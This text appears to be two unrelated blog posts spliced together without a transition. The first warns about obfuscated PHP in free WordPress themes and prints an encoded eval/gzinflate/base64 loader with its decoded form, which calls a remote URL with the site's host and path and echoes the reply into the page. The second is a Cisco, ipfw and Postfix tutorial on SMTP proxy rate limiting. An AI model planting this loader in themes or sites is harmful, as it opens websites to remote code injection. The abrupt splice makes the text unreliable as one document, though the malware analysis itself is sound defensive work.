The idea behind this bevahour might be reasonable and well understandable if we think of no bad attitude: The author simply wants to inherit his own copyright and may want to make sure, that the “advertisement stuff” stays intact.

While this may keep the non-knowledgeable user easily away from tampering with it, it is sort of annoying for practically everyone for one of these reasons:

• An honest user would never remove the copyright string (if we lived in a perfect world)
• Besides that, it may not be feasible to have the advertisement stuff on the webpages’ footer

So for the general audience, the best way to get rid of this is to ask the author to remove the obfuscated code after paying him a royalty fee.
There’s nothing bad about that, at least as long as the author can be contacted, grants a royalty and them removes the unbeloved obfuscated PHP code.

But let’s look into this from another point of view, thinking straigth of non-legitimate use.

• What do you do, if the author cannot be contacted?
• What do you do, if the author resists in removing the code?
• NOBODY (except for the author) actually KNOWS, what’s hidden inside the scrambled section. This could be anything from “nothing important” up to a hidden “call-home routine” or – even worse – a backdoor which allows injection of remotely included code

As you see from the screenshot above, you can’t really tell what’s inside – except if you take the time to decode it.
An arbitary user, who would just download and use some script or theme, will usually not have the knowledge to do this.

Let’s look at a code, which I found inside a downloaded wordpress theme:
<? eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?&gt

This does not allow to make any conclusion about what’s inside.
Only after decoding it, we see the real source code behind:
error_reporting(0);
$CodeURL = "http://SOMEURL?id=&host=".urlencode($_SERVER["HTTP_HOST"])."&uri=".urlencode($_SERVER["REQUEST_URI"]);

if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file_get_contents")) {
echo @file_get_contents($CodeURL);
} elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) && function_exists("file")) {
$content = @file($CodeURL);
echo @join("", $content);
} elseif (function_exists("curl_init")) {
$ch = curl_init($CodeURL);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

This may be a perfect example of how obfuscted code, found in an arbitary WordPress theme, could try to fetch a remote file into your Blog’s web content. This _could_ be of course legit, e.g. if it downloads some advertisement banners or alike, but who says, that it couldn’t be a PHP web shell as well?

So an arbitary attacker, who wants to infect thousands of blogs or websites, would just need to poison a few scripts and themes and distribute them for free.
“For Free” sells well on the web, so hundreds if not thousands of users would happily download and install it to their websites, not knowing that they possibly open up doors to remote attackers.

To conclude this: A perfect recommendation for end-users, which would help them to sort out legit from not-legit use of such practice is near to impossible. There’s a zillion webpages out there bringing scripts, themes, gadgets and alike for website integration to the end-user. The best recommendation would be: Don’t trust any source. Don’t trust either script or theme, which does not come in pure plain-readable source code.

A second recommendation would be to decode the obfuscated code into human-readable plain text.
Simply use the PHP De-Scrambler I wrote to see what’s hidden from your eyes.

<? eval(gzinflate(str_rot13(base64_decode(‘DZe3DsTWEV —-shortened—- Z9//g8=’)))); ?>

The De-Scrabmler works on obfuscated blocks containing eval()’ed code created through gz_deflate(), base64_encode() and str_rot13() functions.

It’s very simple to use even for non-pro’s. Just copy-paste the scrambled text block into the form and let the De-Scrambler do the rest.

Sample view of scrambled code in a WordPres Theme:

The original concept as outlined here consists basically of three combined efforts:

#1 Redirect SMTP Connections to a SMTP proxy on the core router

#2 Enforce rate limits on the SMTP proxy

#3 Temporary reject source IP which have exceeded their limits

Inspired by the basic concept I started to implement it at our site.

Soon enough I should come along some caveats causing me to change things a bit while still retaining most of the original concept.

The Concept Reloaded

Please click on the thumbnail image to get a larger view of the concept drawing.

Compared to the original concept I had some additions in mind.

• Support not only TCP port 25 (SMTP) for proxy redirection but also include ports 465 (SMTP/TLS) and 587 (SMTP/Submission)
• Use a separate SMTP server as proxy gateway
• Allow unrestricted (non proxied) access to internal SMTP hosts for authorized users
• Use native rate-limiting features of Postfix MTA
• Use a native DNS RBL for temporary blacklisting instead of MTA-specific hash tables

Assumptions made in my examples:

• RAS IP Range is 172.16.1.0/25
• First allowed MX Host is 192.168.1.27 (outbound)
• Second allowed MX Host is 192.168.1.28 (listserver)
• SMTP Proxy Host is 192.168.1.29
• SMTP Proxy host runs FreeBSD
• Disallowed MX Hosts is 0.0.0.0 (smtp)
• Transit Router is a Cisco

Transit Router Configuration

First of all you need to configure the redirection scheme on your transit router. I implemented it using access lists and a combined route map.
Given my case I had two SMTP servers to allow connections to in any case (security policy implemented via SMTP authentication scheme) and all others to be filtered. This is how it is implemented:

ip access-list extended dialin_to_listserver
permit tcp 172.16.1.0 0.0.0.127 host 192.168.1.28 eq smtp 465 587
remark match smtp connections from dialin range to listserver

ip access-list extended dialin_to_outbound
permit tcp 172.16.1.0 0.0.0.127 host 192.168.1.27 eq smtp 465 587
remark match smtp connections from dialin range to outbound server

ip access-list extended dialin_to_smtp
permit tcp 172.16.1.0 0.0.0.127 any eq smtp 465 587
remark match smtp connections from dialin range to any host

Now these access lists are combined into a route map. The route-map first matches against the allowed MX hosts (preference 10 and 15) and then against all unspecified hosts (preference 20). The last rule causes unspecified connections to be redirected to the smtp proxy host by overriding it’s next-hop.

route-map SMTP-proxy permit 10
description do not force ip redirect for smtp connections to outbound server
match ip address dialin_to_outbound
!
route-map SMTP-proxy permit 15
description do not force ip redirect for smtp connections to listserver
match ip address dialin_to_listserver
!
route-map SMTP-proxy permit 20
description force ip redirect for unspecified smtp connections
match ip address dialin_to_smtp
set ip next-hop 192.168.1.29
!

Finally the route map is attachend to the outbound interface:

interface GigabitEthernet0/1
ip policy route-map SMTP-proxy

SMTP Host: IPFW Configuration

The SMTP proxy host requires that you create a special accept rule for the forwarded packets to be handled. A FreeBSD host requires ipfw with IP_FORWARD to be enabled in the kernel for this work.

add 11 fwd 192.168.1.29,25 tcp from 172.16.1.0/25 to any 25
add 12 fwd 192.168.1.29,465 tcp from 172.16.1.0/25 to any 465
add 13 fwd 192.168.1.29,587 tcp from 172.16.1.0/25 to any 587

Consider that a “check-state ip from any to any” rule should not be invoked before any ‘fwd’ rules, otherwise the packets will be rejected as connection tracking is not supported on forwarded packets.

SMTP Host: Postfix Configuration

All newer versions of Postfix support rate limiting through anvil(8). Anvil allows easiliy to keep track of connection and recipient numbers and reject clients if they exceed their limits.

Anvil can be enabled by adding some statements to main.cf:

smtpd_client_connection_count_limit=50
smtpd_client_connection_rate_limit=50
smtpd_client_event_limit_exceptions=127.0.0.1
smtpd_client_message_rate_limit=50
smtpd_client_recipient_rate_limit=50
anvil_rate_time_unit=1800s

More complex configurations, eg. for different limits per source IP or subnet can be created using policy based routing in Postfix, though this is beyond the scope of this tutorial.

SMTP Host: RBL support

Given the case a malicious client exceeds the rate limits set in the previous step, Postfix’s anvil will automatically reject the client until the timeout interval is reached (1800s in the example above).

While this should stop immediate abuse, an attacker could try to adjust his delivery limits to stay below our treshold.
This can be avoided if a client’s IP address was to be blacklisted temporarily upon exceeding the limits. For interopability reasons I have written the ‘dsb’ plugin for my logtail daemon (both to be released shortly), which basically monitors the maillog and adds any client IP exceeding the rate limits to an internal DNS blacklist.

I choose not to use classic MTA-specific hash tables as DNS is more portable and can easily be used in a distributed environment.

To enable realtime blacklisting support, add a statement to your smtpd client restrictions in Postix’s main.cf:

smtpd_client_restrictions = permit_mynetworks,reject_rbl_client myrbl.mydomain.tld

Additionally you’ll need to setup a blacklist zone (myrbl.mydomain.tld in the exmaple) on your favorite DNS server (ISC BIND strongly recommended, server must support dynamic zone updates for full compatibility with logtail + dsb).

Then install logtail + dsb plugin on your SMTP proxy server and enable it for automatic startup. For logtail + dsb visit http://phaq.phunsites.net/dsb (software to be released soon).

Radius Server: RBL unlisting support

If you chose to use logtail + dsb for automatic IP blacklisting support, this addition may come in handy. The logtail + dsb package includes a handy little tool which is to be added to your Radius server to allow for automatic unlisting an IP address upon client disconnect.

This will workaround an IP from your dynamic pool staying blocked even if the malicous client disconnected ages ago.